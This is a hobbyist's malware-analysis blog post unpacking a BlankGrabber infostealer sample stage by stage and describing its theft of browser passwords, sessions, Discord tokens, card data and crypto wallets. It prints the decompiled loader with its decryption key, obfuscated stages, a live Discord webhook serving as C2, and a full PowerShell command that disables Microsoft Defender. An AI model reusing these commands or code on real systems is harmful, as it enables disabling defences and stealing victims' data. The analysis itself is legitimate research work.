Table of contents

Dissecting a fresh BlankGrabber sample

BlankGrabber is nothing new. It’s been documented by multiple companies such as ThreatMon, K7Security and has even had it’s source code disclosed on GitHub. So why exactly are we looking at a well documented and even reversed sample? Because there’s more than just the final payload. We a fresh unaltered sample, we get to look into how the sample gets dropped and loaded!

How I found this sample

If you’ve read other blogposts I wrote, you’ll know I’m no pro. I’m just a curious dude that’s starting to delve into the world of RE because malware has always fascinated me. Aside from the certification I’m currently working on, I really enjoy just grabbing random samples and figuring out how it works. One way of doing so is to simply go on tria.ge, look for public reports that got flagged as malicious and download it. Put simply and quickly, tria.ge is a free and public dynamic analysis tool that gives you information about a sample by actually detonating it. The results will include interesting details such as PCAPs, dropped files and Windows APIs used.

For this analysis, we’ll focus on a bad boy titled “Velocity.exe”.

SHA256: 94237eac80fd2a20880180cab19b94e8760f0d1f06715ff42a6f60aef84f4adf
MD5: 8073f87f61f0625f1ec5ecc24c1c686e
Tria.ge link: https://tria.ge/250213-cswx4s1nhp

I’ve also uploaded it to malshare if you want to follow along. link

Initial analysis

The three things I like running first on an unknown binary is the following:

  1. file to get an idea of the type of file I’m dealing with
  2. strings to see if anything stands out at first glance
  3. Detect It Easy (DIE) to see if there’s some embeded files in there

Upon running file on the binary, we can quickly determine it’s a PE file since the value that’s returned is Velocity.exe: PE32+ executable (GUI) x86-64, for MS Windows, 7 sections. We can further validate this by getting the first few bytes that match the classic “MZ” (0x4D 0x5A) magic number and the classic This program cannot be run in DOS mode that’s generated by the Linker (default stub).

Hex dump of the file header

Finally, we can throw the file into DIE to see if it’s packed (or something like that). We quickly notice the file is most likely packed with PyInstaller and that the overlay contains ZLIB compressed data. That’s pretty interesting!

DIE result of the sample

Now this gives us a good idea of where we wanna move next. Do we care about how a PyInstaller PE executes? Not really (at least not for now). Instead, we’re more interesting in what it installs. How do we find that? We unpack it. In this case, there’s some pretty cool tools such as PyInstaller Extractor but there’s some even cooler free tools out there that unpacks the sample but also offers a few goodies. Remember the 3 tools I like to run first on a sample? Turns out a cool ass company out there offers this and even more, for free!

UnpacMe

CJ, why are you, yet again, shilling for an online tool?!

I’m gonna be honest here, I think what they do is absolutely fantastic. The cool studs at OpenAnalysis have managed to put out an easy to use tool that provides all you need for your initial analysis of an unknown sample. More so, the guys at OA make some absolutely crazy good learning content. Here’s a video I personally really enjoyed and I highly suggest you give it a glance. They also have a Patreon page where they post even more detailed lessons and really teach you the fundamentals of RE. Sergei, you’re a fantastic teacher.

This brings us to UnpacMe more specifically. I don’t trust myself to accurately describe their services, however, so here’s how they define their cool tool:

UNPACME is an automated malware unpacking service. Submissions to UNPACME are analyzed using a set of custom unpacking processes maintained by OpenAnalysis. These processes extract all encrypted or packed payloads from the submission and return a unique set of payloads to the user. In short, UNPACME automates the first step in your malware analysis process.

Enough bootlicking, let’s move into the results. You once again follow along by browsing to the result page here. We first notice that the overlay has a very high entropy which is somewhat interesting

Overlay entropy value

If we scroll a bit lower we see UnpacMe has extracted quite a few files for us and it’s even provided us with a brief overview of what the files do ❤️. It also allows us to download each extracted file.

Unpacme unpacking result

Unpacme unpacked files

Reversing the main pyc file

If we take the file titled 31da8165-1390-4961-9dda-f70b7d9e9a79.pyc and pass it to PyLingual we can get a perfectly reversed Python script. Upon reviewing it, we see it’s fairly simple.

# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: loader-o.py
# Bytecode version: 3.13.0rc3 (3571)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import os
import sys
import base64
import zlib
from pyaes import AESModeOfOperationGCM
from zipimport import zipimporter
zipfile = os.path.join(sys._MEIPASS, 'blank.aes')
module = 'stub-o'
key = base64.b64decode('lWLqAOPPVuwIsc2H67NJ2Z/IJxVtYdpcyDQQxhN0o7I=')
iv = base64.b64decode('s83KOFdOnbp77JPN')

def decrypt(key, iv, ciphertext):
    return AESModeOfOperationGCM(key, iv).decrypt(ciphertext)
if os.path.isfile(zipfile):
    with open(zipfile, 'rb') as f:
        ciphertext = f.read()
    ciphertext = zlib.decompress(ciphertext[::-1])
    decrypted = decrypt(key, iv, ciphertext)
    with open(zipfile, 'wb') as f:
        f.write(decrypted)
    zipimporter(zipfile).load_module(module)

It starts by loading a file called “blank.aes”, it reads it’s content, reverses it, decrypts it, writes it to a file and imports (and executes) a module called stub-o. If you try to run it however you’ll notice that PyAES doesn’t actually have a function called AESModeOfOperationGCM. I’m not gonna lie, this got me confused for quite a bit but after a bit, I ended up realizing it was relying on a modified version of PyAES. Thankfully for us, AESModeOfOperationGCM was re-implemented in the Grabbers-Deobfuscator repository.

With this said, we can finally tweak the original script to decrypt blank.aes into something we can further analyze. We’ll manually import pyaes into our script and yank the zipimporter line to make sure we don’t actually execute it’s payload.

import os
import sys
import base64
import zlib

sys.path.insert(0, "/mnt/d/malware/tmp/blankstealer/Grabbers-Deobfuscator/utils")

from pyaes import AESModeOfOperationGCM
zipfile = 'blank.aes'
module = 'stub-o'
key = base64.b64decode('lWLqAOPPVuwIsc2H67NJ2Z/IJxVtYdpcyDQQxhN0o7I=')
iv = base64.b64decode('s83KOFdOnbp77JPN')

def decrypt(key, iv, ciphertext):
    return AESModeOfOperationGCM(key, iv).decrypt(ciphertext)
if os.path.isfile(zipfile):
    with open(zipfile, 'rb') as f:
        ciphertext = f.read()
    ciphertext = zlib.decompress(ciphertext[::-1])
    decrypted = decrypt(key, iv, ciphertext)
    with open(zipfile, 'wb') as f:
        f.write(decrypted)

stub-o.pyc

After running our script, we’re left with a nice pyc file called stub-o.pyc.

$ file stub-o.pyc                                                                                                                  
stub-o.pyc: Byte-compiled Python module for CPython 3.12 or newer, timestamp-based, .py timestamp: Wed Feb 12 23:43:26 2025 UTC, .py size: 272763 bytes

Time to do the Pylingual dance again! Once it’s done rearranging the bits and bytes, we get a gem that looks something like this.

stub-o decompiled output

Thanfully for us, it’s really nothing too complicated. The script essentially creates aliases for imports by obfuscating them with base64 and messing with how they’re represented in the script. To keep things short, we go from this

__________ = eval(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([90, 88, 90, 104, 98, 65, 61, 61])).decode())
___________ = __________(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([90, 50, 86, 48, 89, 88, 82, 48, 99, 103, 61, 61])).decode())
_______________ = __________(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([88, 49, 57, 112, 98, 88, 66, 118, 99, 110, 82, 102, 88, 119, 61, 61])).decode())
________________ = __________(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 110, 108, 48, 90, 88, 77, 61])).decode())

____________ = lambda ______________: __________(___________(_______________(________________([98, 97, 115, 101, 54, 52]).decode()), ________________([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(______________, ___________(_______________(________________([98, 97, 115, 101, 54, 52]).decode()), ________________([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(________________([90, 88, 104, 108, 89, 119, 61, 61])).decode())

bigOldBlobOfBytes = ...

To this (roughly)

from lzma import decompress

try:
    decompress(bigOldBlobOfBytes)
except LZMAError:
    exit(1)

Which we could’ve also found out by writting those bytes and running file on it.

$ file stage3.bin                                                                                                                        
stage3.bin: XZ compressed data, checksum CRC64

Stage 3

After extracting the content of the xz file with ye ol’ 7z x ./file_name we’re greeted with another garbage (obfuscated) script.

# Obfuscated using https://github.com/Blank-c/BlankOBF
_______="AAH...";
_____="KBhqA...";
____="LjNNNNNNNNNNNNNNNNpNN...";
______="AACyJ...";

__import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 110, 86, 112, 98, 72, 82, 112, 98, 110, 77, 61])).decode()).exec(__import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([98, 87, 70, 121, 99, 50, 104, 104, 98, 65, 61, 61])).decode()).loads(__import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 109, 70, 122, 90, 84, 89, 48])).decode()).b64decode(__import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 50, 57, 107, 90, 87, 78, 122])).decode()).decode(____, __import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 109, 70, 122, 90, 84, 89, 48])).decode()).b64decode("cm90MTM=").decode())+_____+______[::-1]+_______)))

Which, after a bit of fucking around, gives us something like this

import base64, codecs, marshal, dis, types, importlib

firstChunk = codecs.decode(bigBlob3, "rot13")
totalCunks = firstChunk + bigBlob2 + bigBlob4[::-1] + bigBlob1
unb64 = base64.b64decode(totalCunks)
unmarshalled = marshal.loads(unb64)
...

I’m not gonna lie here, I struggled quite a bit of extracting and reversing the marshalled content. Since the binary was initially tagged as being Python 3.12+ I kinda went along with the current version of Python I was running (3.12) without questioning it too much. I kept trying and trying to either dis.dis() the marshalled object or to dump it as a pyc to then send it to PyLingual but for whatever reason, I kept getting hit with this.

$ python3 stage3.py
malloc(): invalid size (unsorted)
[1]   22904 IOT instruction (core dumped) python3 stage3.py

Yep, I had managed to cause a core dump in Python 💪.

I then promptly reached out to the OALabs Discord channel to get a bit of help I tried other tricks such as writting the header manually and decompiling the file with pycdc but sadly, no dice. I’d get a similarily cryptic error:

$ pycdc output.pyc
CreateObject: Got unsupported type 0x0 Error loading file ./output.pyc: std::bad_cast

After more messing around, an absolute angel by the name of manbearpiig essentially told me to double check if my Python version was the same as the executable. I decided to run back to PyLingual to see if it had ID’d the version and lo and behold, it was using version 3.13. Some of you are probably laughing at my by this point but eh, you live and you learn!

After upgrading to v3.13, I was able to dump the marshalled object to a pyc that can be further reversed via this simply line

import importlib 

pyc_data = importlib._bootstrap_external._code_to_timestamp_pyc(code)

with open('stage4.pyc', 'wb') as f:
    f.write(pyc_data)

Final stage

Woohoo! We’ve finally reached the endgoal! Let’s look into the capabilities of BlankGrabber. For those following along, I’ve uploaded the full code in a Github repo: https://github.com/cyb3rjerry/revengd-malware/tree/main/blankgrabber

Final stage decompiled

First thing I noticed is the C2 b64 encoded string.

which decodes to https://discord.com/api/webhooks/1339377338789527583/ZaaIPm4r2pFnKkE4RUXqcS7xZBcizAgYuFYROtiKuY4mBlDtpUuVxpzdEO-vDdFinBBV. This is interesting because it showcases again messaging apps being an important part of a C2. My little experience so far has shown me time and time again that both Discord and Telegram are frequently leveraged to act both as C2s and as delivery mechanisms/file hosting services. If you search for cdn.discordapp.com on urlquery.net you’ll notice there’s tons of executables being shared through their CDN.

Discord cdn being leveraged to distribute executables

Capabilities

If we keep on scrolling a bit lower we’ll notice is that our sample has sandbox detection capabilities (although great ones). It’s all wrapped in a class called “VMProtect”, not to be confused with VMProtect. It can:

  • Detect the device’s UUID and compares it against a blacklist. I couldn’t find exactly where these came from but a quick Google search brought me to a repo which points to them being hostnames used by VirusTotal (or similar services).
  • Detect the device’s hostname and compares it against a blacklist. Yet again, I’m not 100% sure of where this comes from but there’s a lot of similarities with the virustotal-vm-blacklist repo.
  • Detect the currently used username and compares it against a blacklist. Same similarities to the VT VM Blacklist.
  • Detect if the current IP is related to a hosting provider by leveraging ip-api.com.
  • Detect if internet connectivity is being simulated by resolving a random domain that starts with blank-.
  • Detect if the current host is running in either VirtualBox or VMWare by querying registry keys, video controllers and D:\ drive related paths.

If any of these checks return positive, the sample terminates itself.

Moving on, we notice a few interesting WinAPI (for some reason named Syscalls although they’re not Syscalls per se) bindings such as:

We also notice the sample has the capability to terminate tasks via taskkill /F /PID %d. It’s also good to note it first lists all PIDs via tasklist /FO LIST.

More notably, we notice it also has the capability of killing Microsoft Defender via this base64 encoded string

which decodes to the script below. It essentially disables the IPS (exploitation of known vulns), IO AV Protection (File download scan), Real time Monitoring, Script scanning, Controlled folder access, Network protection, MAPS reporting, prevents suspicious sample submission and finally removes all definitions in Defender.

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

It can also extract WiFi passwords, setup a UAC bypass, embed itself in the startup applications and block websites.

Interestingly, it seems to block AV websites specifically to try and prevent the user from remediating the infection.

Finally, it’s also capable of getting the content of the clipboard, get the current AV, get screenshots and exfiltrate files using either gofile or anonfiles.

Browsers

Due to the prevalence of Chromium (Brave, Chrome, Opera, …) it mainly focuses on it. This would get a little long to describe with code snippets so to make it short I’ll list it’s capabilities with bullet points instead. It can:

  • Get passwords stored in the browser
  • Get cookies
  • Get the victim’s history
  • Get autofill values

Discord

Now this part gets interesting. This sample seems to target Discord very precisely and does a few cool things. First, it leverages Discord’s API to establish a victim profile. It fetches the username, id, email, phone number, MFA status, Nitro Status and payment methods from the infected host.

Another cool trick in it’s pocket is it’s capability to inject code within Discord itself (or rather it’s appdata storage). If we look at the following snippet, we’ll notice a large chunk of base64 data.

If we decode it, we get a big block of Javascript that, put simply, tries to hijack any purchases made towards Discord. It’ll then steal the CC number, API token & credentials and send them right back to a discord webhook. Funnily enough, it also @everyone in the channel attached to the webhook to make sure EVERYONE knows a CC number has been stolen.

The JS script also contains a link to the an asset hosted in the original stealer repo which was archived in mid 2023.

Session theft

BlankGrabber also seems to focus a lot on session stealing which makes a lot of sense considering a lot of apps are getting harder to break into purely with credential theft. It seems to focus mainly on:

  • Minecraft
  • Growtopia
  • Epic (games)
  • Steam
  • UPlay
  • Roblox
  • Telegram
  • Discord

Crypto

The main focus seems to be on MetaMask. As you’ll notice below, it essentially searches for two extension IDs and dumps their content.

What do we make of this sample?

Well I think it’s first important to acknowledge this is a fairly simple to catch post-compromise stealer. It’s not trying to be sneaky at all. Most modern “corporate” EDRs would most likely catch this very quickly which makes me think this isn’t aimed at companies, it’s aimed to random people.

More so, we notice the focus on techs and games used by “younger people” such as Discord, Roblox, Growtopia which leads me to believe it’s got an even more narrow focus on kids. I’m very much not judging anyone playing Robolox as an adult. Especially knowing Roblox has a few problems with adults.

How would I rate the quality of this stealer? Eh, let’s give it 3/10 for the effort. This was fairly easy to reverse and doesn’t show super complex capabilities.